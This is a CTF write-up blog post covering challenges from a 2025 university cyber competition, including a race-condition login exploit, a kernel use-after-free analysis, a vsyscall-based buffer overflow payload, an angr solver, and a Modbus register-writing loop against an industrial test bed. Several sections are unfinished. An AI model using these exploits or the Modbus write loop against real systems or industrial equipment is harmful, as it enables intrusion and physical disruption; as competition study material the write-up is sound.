Post

Cyber Defender's Discovery Camp 2025 Finals

This writeup is incomplete and still work-in-progress.

This year, I participated as NUS Greyhats in the DSTA’s BrainHack CDDC University Category and we came out first place once again ✌️

greyhats nus greyhats at cddc!

Check out the full list of challenges & writeups done by our club here!

Pwn - U-boot

The boot process is fast. Maybe a little too fast.

If your timing is just right, you might slip something in before the system notices. Can you catch the gap and make your move?

We are given a single program called uboot.

Traditionally, uboot is a boot loader for embedded systems that is used to launch the kernel. This challenge program is NOT a real uboot program but is just a simple re-implementation of it.

Upon running the program, we are introduced with a login prompt, followed by the booting of some ELF program that we do not seem to have.

1
2
3
4
5
6
7
8
9
10
11
$ ./uboot
U-Boot 2024.03.12 <Jun 13 2025 - 12:00:00>

open: No such file or directory

Press Enter to U-Boot login.

Login: a
Password: b
Authentication failed. Just Booting.
Error: no ELF loaded. Use 'load' first.

Reverse-Engineering the uboot program

We can throw uboot into IDA to decompile the program and see what it is doing under the hood.

This snippet of code shows us that it is trying to read and load an ELF file named nvr_kernel. We do not have access to this file locally, but it seems to exist on the remote server.

1
2
3
4
5
  s1_1[0] = "load";
  s1_1[1] = "./nvr_kernel";
  s1_1[2] = 0LL;
  load_elf(s1_1);
  puts("\nPress Enter to U-Boot login.");

Next, we can look at the login function where we see that the uboot program actually uses hardcoded credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_BOOL8 login()
{
  char s[64]; // [rsp+0h] [rbp-90h] BYREF
  char s1[72]; // [rsp+40h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+88h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Login: ");
  if ( !fgets(s, 64, stdin) )
    return 0LL;
  s[strcspn(s, "\r\n")] = 0;
  printf("Password: ");
  if ( !fgets(s1, 64, stdin) )
    return 0LL;
  s1[strcspn(s1, "\r\n")] = 0;
  return !strcmp(s, "admin") && !strcmp(s1, "uboot4dmin123!@");
}

Using the uboot menu to read nvr_kernel

We can use this hardcoded credentials to connect to the remote server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nc chal.h4c.cddc2025.xyz 11835 # run this on remote
U-Boot 2024.03.12 <Jun 13 2025 - 12:00:00>

Loaded 27880 bytes into memory # we note that nvr_kernel has 27880 bytes

Press Enter to U-Boot login.

Login: admin
Password: uboot4dmin123!@
Authentication successful. Welcome to U-Boot Simulator.

U-Boot Simulator
Type 'help' for commands.

uboot> help
Available commands:
  help                 - this help
  exit                 - quit simulator
  md <addr> <count>    - memory display (hex)
  mw <addr> <value>    - memory write (byte)
  setenv <var> <val>   - set environment variable
  printenv             - show env list
  boot                 - execute loaded KERNEL
  boota                - boot Android system

As we can see, the boot menu contains some useful commands such as md and mw (which allows us to read/write memory).

By reverse-engineering the program, we note that mw is actually not implemented and it does not actually write anything to memory.

Instead, md 0 27880 can help us to read the entire nvr_kernel from memory.

1
2
3
4
5
6
7
8
9
# nvr_hexdump.txt contains the output from the `md 0 27880` command
with open("./nvr_hexdump.txt", "rb") as f:
    x = f.readlines()

# convert the hex dump to raw bytes basically
elf = b''.join([bytes.fromhex(i.split(b": ")[1].decode().replace("\n", "").replace(" ", "")) for i in x])

with open("./nvr_elf", "wb") as f:
    f.write(elf)

Reverse-Engineering nvr_kernel binary

Without going too much into the details, the nvr_kernel shell provides us with a few commands that we can run. One of the more interesting commands is print device

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 __fastcall print_device(int *uid)
{
  FILE *stream; // [rsp+18h] [rbp-118h]
  char s[264]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+128h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("This is CDDC NVR System");
  if ( !*uid )
  {
    stream = fopen("flag", "r");
    if ( stream )
    {
      puts("=== FLAG ===");
      while ( fgets(s, 256, stream) )
        fputs(s, stdout);
      fclose(stream);
      puts("\n============");
    }
    else
    {
      printf("[!] Flag file not found: %s\n", "flag");
    }
  }
  putchar(10);
  return v4 - __readfsqword(0x28u);
}

If our uid is 0 (which typically indicate root permissions), the flag will be printed to us.

Interestingly, one of the commands that we have access to allows us to reboot the nvr_kernel.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall reboot_nvr_kernel(int *uid)
{
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( pthread_create(&newthread, 0LL, (void *(*)(void *))reboot_nvr_kernel_internal, uid) )
    perror("pthread_create");
  else
    pthread_detach(newthread);
  return v3 - __readfsqword(0x28u);
}

void *__fastcall reboot_nvr_system(int *uid)
{
  int v2; // [rsp+14h] [rbp-Ch]

  v2 = *uid;
  *uid = 0;
  puts("Shutdown NVR system...");
  sub_247F();
  *uid = v2;
  puts("Boot complete.\n");
  return 0LL;
}

This is done by spawning a new thread which sets uid to 0 while the system is still booting.

Since this is done in a separate thread, we can still run commands on the main thread.

This creates a race condition where we can run print device with uid = 0 while the kernel is rebooting.

Solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = remote("chal.h4c.cddc2025.xyz", 11835)

p.sendlineafter(b"login.", b"")
p.sendlineafter(b"Login:", b"admin")
p.sendlineafter(b"Password:", b"uboot4dmin123!@")

# we need to set init=/bin/sh to get an interactive nvr_system shell
p.sendlineafter(b"uboot>", b'setenv bootargs init=/bin/sh')
p.sendlineafter(b"uboot>", b"boot")

# race condition, reboot and print device at the same time
p.sendlineafter(b"\n#", b"reboot")
p.sendlineafter(b"\n#", b"print device")

p.interactive()

Pwn - Eclipse

This is a 300 points kernel pwn challenge that I did not manage to solve during the CTF. I managed to get RIP control but did not manage to successfully leak with msgmsg.

We are provided with a kernel module eclipse.ko that is loaded into the kernel on boot.

We have to exploit this kernel module to obtain root permissions and read the flag.

Conveniently, the source code is also given to us in eclipse.c.

Kernel Module Functionalities

The kernel module exposes to us some heap functionalities alloc, read, write, realloc that we can call from userspace.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static long eclipse_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    struct user_req req;

    if (!arg)
    {
        printk(KERN_ERR "eclipse_ioctl: invalid user request\n");
        return -EINVAL;
    }

    if (copy_from_user(&req, (void __user *)arg, sizeof(req)))
    {
        printk(KERN_ERR "eclipse_ioctl: copy_from_user failed\n");
        return -EINVAL;
    }

    switch (cmd)
    {
        case CMD_ALLOC:
            return eclipse_alloc(&req);
        case CMD_SHOW:
            return eclipse_read(&req);
        case CMD_WRITE:
            return eclipse_write(&req);
        case CMD_REALLOC:
            return eclipse_realloc(&req);
        default:
            printk(KERN_ERR "eclipse_ioctl: invalid command\n");
            return -EINVAL;
    }
}

The eclipse_alloc function allocates a kheap chunk between size 64 and 1024.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int eclipse_alloc(const struct user_req *req)
{
    if (req->size < 64 || req->size > 1024)
    {
        printk(KERN_ERR "eclipse_alloc: invalid allocation size\n");
        return -EINVAL;
    }

    eclipse->data = kmalloc(req->size, GFP_KERNEL);
    if (!eclipse->data)
    {
        printk(KERN_ERR "eclipse_alloc: allocation failed\n");
        return -ENOMEM;
    }

    eclipse->size = req->size;
    spin_lock_init(&eclipse->lock);

    return 0;
}

eclipse_read does nothing and is simply a placeholder :/.

1
2
3
4
5
static ssize_t eclipse_read(const struct user_req *req)
{
    printk(KERN_INFO "eclipse_read called\n");
    return 0;
}

eclipse_write reads from userspace and writes into the kheap chunk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static ssize_t eclipse_write(const struct user_req *req)
{
    unsigned long flags;

    spin_lock_irqsave(&eclipse->lock, flags);

    if (req->size < 0 || req->size > eclipse->size)
    {
        spin_unlock_irqrestore(&eclipse->lock, flags);
        printk(KERN_ERR "eclipse_write: invalid buffer size\n");
        return -EINVAL;
    }

    if (req->data)
    {
        spin_unlock_irqrestore(&eclipse->lock, flags);
        if (copy_from_user(eclipse->data, req->data, req->size)) // not protected by mutex
        {
            printk(KERN_ERR "eclipse_write: copy_from_user failed\n");
            return -EFAULT;
        }
        spin_lock_irqsave(&eclipse->lock, flags);
    }
    else
    {
        spin_unlock_irqrestore(&eclipse->lock, flags);
        printk(KERN_ERR "eclipse_write: invalid buffer\n");
        return -EINVAL;
    }

    spin_unlock_irqrestore(&eclipse->lock, flags);
    return 0;
}

eclipse_realloc free-s the old buffer and reallocates a new one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static ssize_t eclipse_realloc(const struct user_req *req)
{
    unsigned char *new_data, *old_data;

    if (req->size < 64 || req->size > 1024)
    {
        printk(KERN_ERR "eclipse_realloc: invalid buffer size\n");
        return -EINVAL;
    }

    if (req->size != eclipse->size)
    {
        new_data = kmalloc(req->size, GFP_KERNEL);
        if (!new_data)
            return -ENOMEM;

        spin_lock_irq(&eclipse->lock);
        old_data = eclipse->data;
        eclipse->data = new_data;
        eclipse->size = req->size;
        spin_unlock_irq(&eclipse->lock);
        kfree(old_data);
    }

    return 0;
}

Vulnerability Analysis

We can note that there is some form of synchronization being done in the program to prevent race conditions, however there is still a race condition bug in eclipse_write and eclipse_realloc.

The spinlock is unlocked right before the data is copied into the kernel heap buffer in eclipse_write.

1
2
        spin_unlock_irqrestore(&eclipse->lock, flags);
        if (copy_from_user(eclipse->data, req->data, req->size)) // not protected by mutex

In eclipse_realloc, the spinlock is unlocked once again before the kernel heap buffer is free-ed.

The improper use of spinlock gives rise to the potential to trigger a Use-After-Free with the following steps

  1. eclipse_write acquire the eclipse->data pointer to store the data to be copied from userspace.
  2. Before the write is done, eclipse_realloc will allocate a new pointer and free the old eclipse->data pointer.
  3. Since eclipse_write is still holding onto the old free-ed eclipse->data pointer, we will write into free-ed memory.

Exploit Strategy

Kernel Protections

Before we dive into our exploit strategy, we have to consider what kernel protections are enabled. Looking at start.sh, we can tell that

  • SMAP disabled
  • SMEP disabled
  • KPTI enabled (cannot access userspace pages despite lack of SMEP or SMAP)
  • Single core (difficult to win race conditions)
1
2
3
4
5
6
7
8
9
10
qemu-system-x86_64 \
-m 2G \
-kernel ./bzImage \
-drive file=./rootfs.img,format=raw,index=0,media=disk \
-append "root=/dev/sda rw console=ttyS0 oops=panic panic=1 pti=on kaslr init=/init" \
-netdev user,id=net0,hostfwd=tcp::10022-:22,hostfwd=tcp::9000-:9000 \
-device e1000,netdev=net0,id=nic0 \
-nographic \
-cpu qemu64 \
-s

Additionally, we can also use kchecksec from bata24/gef to look at other kernel protections that are configured into the kernel at compile-time.

1
2
3
4
5
6
# usefaultfd is disabled
vm.unprivileged_userfaultfd             : Syscall unsupported (userfaultfd syscall: Disabled)
kernel.unprivileged_bpf_disabled        : Syscall unsupported (bpf syscall: Disabled)

$ ls /dev/fuse
/dev/fuse # FUSE filesystem is enabled. This is important later.

To make your debugging experience better, you should use extract-vmlinux script to extract vmlinux from bzImage, and use vmlinux-to-elf to extract debug information from vmlinux.

This will allow you to utilize many convenient kernel debug commands that are available in bata24/gef.

Winning Race Conditions

As mentioned before, since the kernel is only running with one core, it will be difficult to win race conditions just by running multiple threads since only one thread can run at a time.

As such, we would have to utilize some commonly known techniques such as userfaultfd or FUSE that can help us to pause kernel threads when certain conditions are met.

As shown before, userfaultfd is not supported in this kernel, but FUSE is.

FUSE Filesystem

FUSE allows us to create filesystem in userspace without needing to re-write code in the kernel. The kernel would simply redirect filesystem calls back to the userspace.

What this means for us pwners is that we are able to define a set of callback functions that will be triggered when anything tries to interact with our filesystem.

Getting a Leak

Getting RIP control

Pwn - Virtual llama

This is a partial writeup as I did not solve this during the CTF and do not have access to the second part of the challenge.

Is this secure service? nc chal.h4c.cddc2025.xyz 30015

Note :

  1. /bin/bash, /bin/sh are not available
  2. This challenge doesn’t need brute force.

Reverse Engineering

The program is very straightforward. We have a simple buffer overflow with all protections enabled except the stack canary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// ❯ checksec prob
// [*] './CDDC/Finals/pwn/llama/chal/prob'
//     Arch:       amd64-64-little
//     RELRO:      Full RELRO
//     Stack:      No canary found
//     NX:         NX enabled
//     PIE:        PIE enabled
//     SHSTK:      Enabled
//     IBT:        Enabled
//     Stripped:   No

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("[*] This CDDC 2025 Time Capsule");
  printf("[>] Input your comment: ");
  read(0, buf, 80uLL);
  return 0;
}

int win()
{
  char *env; // rax

  puts("[*] You WIN!!");
  env = getenv("HINT");
  return puts(env);
}

Ideating our exploit strategy

Our goal is to call the win function, but it is non trivial to do so without knowing any LIBC or ELF address.

If we look at the stack at the point when we return from the main function, we can see that we are only able to achieve a partial overwrite on the libc address.

1
2
3
4
5
6
 ► 0x5637770f9281 <main+135>                      ret                                  <0x7fc5764f2d90; __libc_start_call_main+128>
──────────────────────────────────────────────────────────────────────────────────
pwndbg> tele $rsp # we can print the top of our stack
00:0000│ rsp 0x7ffcacd59d48 —▸ 0x7fc5764f2d90 (__libc_start_call_main+128) ◂— mov edi, eax
01:0008│     0x7ffcacd59d50 ◂— 0x0
02:0010│     0x7ffcacd59d58 —▸ 0x5637770f91fa (main) ◂— endbr64

In order to actually call the win function, we would want to do a partial overwrite of the main function to convert it to win and return there.

If we actually looked at the provdied Dockerfile, there is a hint given (i did not notice this during the CTF…)

1
2
3
# Docker host server's boot option setting:
# echo 'GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"' >> /etc/default/grub
# reboot

The kernel is set to run with vsyscall=emulate configuration. If we do some research on this, we can find writeups like this.

Essentially, there is a region of memory that is loaded at a fixed address called vsyscall. The purpose of this is to allow the kernel to run syscalls without leaving the userspace for efficiency purposes, by emulating some of the more commonly used syscalls such as gettimeofday() etc.

vsyscall

What this means for us is that we have a very useful ret gadget that we can use to fill the space between the stack until the main address and achieve our partial overwrite to call win.

Solution

1
2
3
4
from pwn import *
p = process("./prob")
p.send(b"A"*40 + p64(0xffffffffff600000)*2 + b"\xc9")
p.interactive()

Pwn - Escape Room

Reverse - Flag Checker

Analyze the code, please find the right input!

This challenge is a typical CTF flag checker where we have to find the correct input to get the flag.

Reverse-engineering the program

We can throw the program into IDA and analyze the main function.

As we can tell, our input should be 4000 characters long, and return 1 from the check_flag_1 function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+Ch] [rbp-10E4h]
  char s[16]; // [rsp+E0h] [rbp-1010h] BYREF
  unsigned __int64 v6; // [rsp+10E8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Input correct value: ");
  if ( fgets(s, 4100, stdin) )
  {
    s[strcspn(s, "\n")] = 0;
    if ( strlen(s) == 4000 )
    {
      if ( (unsigned int)check_flag_1(s) )
      {
        printf("Congratulations! Flag is CDDC2025{");
        for ( i = 0; i <= 63; ++i )
          putchar(s[dword_73FC0[i]]);
        puts("}");
      }
      else
      {
        puts("Wrong :(");
      }
      return 0LL;
    }
    else
    {
      puts("Wrong :(");
      return 1LL;
    }
  }
  else
  {
    puts("Error reading input");
    return 1LL;
  }
}

We can look at check_flag_1 function to see the constraints for the correct input.

1
2
3
4
5
6
7
__int64 __fastcall check_flag_1(char *s)
{
  if ( ((unsigned __int8)*s ^ (unsigned __int8)byte_73020) == -78 )
    return check_flag_2(s);
  else
    return 0LL;
}

The check_flag_1 function checks the first character of our input by doing a XOR operation.

As we continue to analyze the subsequent functions, we realize that there are 4000 functions that checks each character of the flag one at a time. To retrieve the entire 4000 characters, we need to automate this.

Ideating the solution

From IDA, we can tell that the first check_flag function is at 0x49773 and the last check_flag function is at 0x1490.

Initially, I thought of 3 ways to do this

  1. Brute-force character by character. We can tell if a character is correct if we have more code coverage / more code is executed.
  2. We can use a symbolic execution engine like angr to try and solve the constraints of our input.
  3. We can write a parser to read the assembly instructions and convert it into equations that we can solve using z3.

Option 1 would be difficult for me beacuse I am not familiar with any instrumentation engines like pintool. Setting breakpoints by using a debugger might be too slow.

Option 2 would be the easiest to implement but difficult to get to work since we are prone to path explosion if we try to get the execution engine to step through all 4000 functions without any extra instrumentation.

Option 3 is the most tedious and I simply was too lazy to do it

Solving the challenge

I went along with the easiest to implement solution which is to use angr. However, to ensure that it does not encounter path explosion, I would have to solve each of the 4000 functions one at a time.

First, we extract the address of all 4000 checker functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
# idapython code to extract the address of all 4000 checker functions
end = 0x1490

funcs = []
tail = end

for i in range(4000):
    funcs.append(tail)
    x = [i.frm for i in XrefsTo(tail)][0]
    print(hex(x))
    tail = ida_funcs.get_func(x).start_ea

print(funcs)

Next, we write angr script to solve the functions one at a time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import angr
import claripy
import logging

addrs = [...] # addresses of 4000 checker functions. truncated for brevity

p = angr.Project("./prob")

inpt = [claripy.BVS(f"inpt_{i}", 8) for i in range(4000)]

correct = []

for i in range(0, len(addrs)-1):
    # we start a checker_function_n
    state = p.factory.blank_state(addr=0x400000+addrs[i])
    state.memory.store(0x1337000, claripy.Concat(*inpt))
    state.regs.rdi = 0x1337000
    mgr = p.factory.simulation_manager(state)
    # we try to reach checker_function_n+1
    mgr.explore(find=0x400000+addrs[i+1])
    # we solve for the character of the flag that allows us to pass the check
    correct.append(int(mgr.found[0].solver.eval(inpt[i])))
    print(i, bytes(correct))

After waiting 10 minutes or so, we obtain the input of 4000 characters, which we can pass into the program to get the flag.

In hindsight, I only needed to solve 64 of the characters that is used to form the flag. I did not notice this initially due to my excitement to write an angr script to solve the challenge.

OT - Balast Water Management System

This goal of this challenge is manipulate the values ​​of the given address to tilt the ballast water tank of the test bed. For the fiar enviroment, please follow this description to capture the flag.

  • For the smooth progress, players set network configuration to the given informaton.(IP : 192.168.0.100, Subnetmask : 255.255.255.0)
  • When you come to the stage, connect LAN cable to your laptop. You may then proceed to alter coil value.
  • IP: 192.168.0.4, PORT: 502, register address: 1, 2, 3(Left inlet valve, Left inlet pump, Right outlet valve)
  • Your goal is change these value(Left inlet valve, Left inlet pump, Right outlet valve) 0 to 1

This took me 4 attempts to solve this challenge.

I suspect that it did not work because it was not writing fast enough. The challenge was likely writing 0s to the register faster than me.

As such, I decided to remove all print statements and irrelevant code in the while loop, and it worked.

If it still refused to work, I was ready to spawn 10 terminals to run the code 10 times. :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pymodbus.client import ModbusTcpClient
import time

client = ModbusTcpClient('192.168.0.4')

if not client.connect():
    print("Failed to connect to Modbus server!")

print("Connected successfully!")

while True:
    reg_result = client.write_registers(1, [1, 1, 1])

client.close()
print("Connection closed.")

OT - IVI1

OT - IVI2

Do you know what DLT is? If you want to go to the future, it is important to know about DLT.

There is a hint on how to use DLT in netstat.txt.

The provided binary is one of many binaries that use this DLT.

It is said that the clue to go to the future is in this binary(updatemgr). The binary provided on stage is running.

Analyze the binary to find the file that can get the flag to go to the future.

We are provided with 3 files, updatemgr netstat.txt and cddc2025.dlt.

netstat.txt

1
2
netstat -natlp | grep dlt | grep LISTEN
tcp        0      0 :::3490                 :::*                    LISTEN      249/dlt-daemon

This shows the dlt-daemon listening on port 3490.

DLT refers to Diagnostic Log and Trace which is basically a common logging protocol used in automotives. dlt-daemon would be the listening service in an automotive component that sends logging over the network.

cddc2025.dlt contains the logging messages that were captured at some point of time. If we run strings on the file, we can see lots of logging messages such as the following:

1
2
3
4
5
UPDM_wbIsFilePathExists() [Warn]file path does not exist. [/AccessDev.dat].
UPDM_wemReadFileData() [Err]failed to open file [/opt/ota/usrpwd.txt].
[16170.653955] TouchReport X(152)
[16170.653983] TouchReport Y(470)
[16170.653997] TouchReport Z(124)

Finally, the last piece of the puzzle is the updatemgr binary that seems to run on the automotive system and sends the logging data.

Reverse-Engineering updatemgr binary

Doing a quick triage on the updatemgr binary, we can find that the flag will be printed when wbIsFilePathExists(a1) is called such that the file a1 exists.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall UPDM_wbIsFilePathExists(const char *a1)
{
  char *n9; // r3
  unsigned __int8 fileExists; // [sp+Bh] [bp-645h] BYREF
  char s[172]; // [sp+Ch] [bp-644h] BYREF
  _BYTE v6[1432]; // [sp+B8h] [bp-598h] BYREF

  fileExists = 0;
  // truncated
  if ( !afw_fs_is_exist(a1, &fileExists) )
  {
    if ( fileExists )
    {
      afw_memset(s, 0, 170);
      snprintf(s, 0xAAu, "CDDC2025{_FLAG_HAS_BEEN_REMOVED_}\n", 196, "UPDM_wbIsFilePathExists", a1);
      if ( n9 == 9 || *(_BYTE *)n9 == 9 || afw_log_write_start(UPDATEMGR_LOG, v6, 2) <= 0 )
        return fileExists;
      goto LABEL_16;
    }
    afw_memset(s, 0, 170);
    snprintf(s, 0xAAu, "%04d %s() [Warn]file path does not exist. [%s].\n", 200, "UPDM_wbIsFilePathExists", a1);
    n9 = (char *)n9;
    if ( !n9 )
      return fileExists;
LABEL_14:
    if ( *n9 <= 1 || afw_log_write_start(UPDATEMGR_LOG, v6, 2) <= 0 )
      return fileExists;
LABEL_16:
    afw_log_write_string(v6, s);
    afw_log_write_finish(v6);
    return fileExists;
  }
  // truncated
  return 0;
}

From here, we can find cross-references of the function to identify how we can call this function with a file that exists.

In the main function, we can find that it sems to check if the file AccessDav.dat exists on connected USB devices.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int UPDM_wvpOTAWoker_Main()
{
  // ... truncated ...
      if ( BasicAuth != 1 )
      {
        memset(idx, 0, sizeof(idx));
        memset(s_2, 0, sizeof(s_2));
        UPDM_wemGetMultiUsbRootPath((const char *)idx);
        afw_memset(s_2, 0, 256);
        snprintf(s_2, 0x100u, "%s/%s", (const char *)idx, "AccessDev.dat");
        if ( UPDM_wbIsFilePathExists(s_2)
          || (afw_memset(s_2, 0, 256),
              snprintf(s_2, 0x100u, "%s/%s", (const char *)&idx[32], "AccessDev.dat"),
              UPDM_wbIsFilePathExists(s_2)) )
  // ... truncated ...
}

The log messages also support our finding: UPDM_wbIsFilePathExists() [Warn]file path does not exist. [/AccessDev.dat].

Solution

Essentially, we simply have to connect a USB device with the AccessDev.dat file and listen by running dlt-receive -a <IP_ADDRESS_OF_AUTOMOTIVE_DEVICE> to obtain the flag.

This post is licensed under CC BY 4.0 by the author.

Trending Tags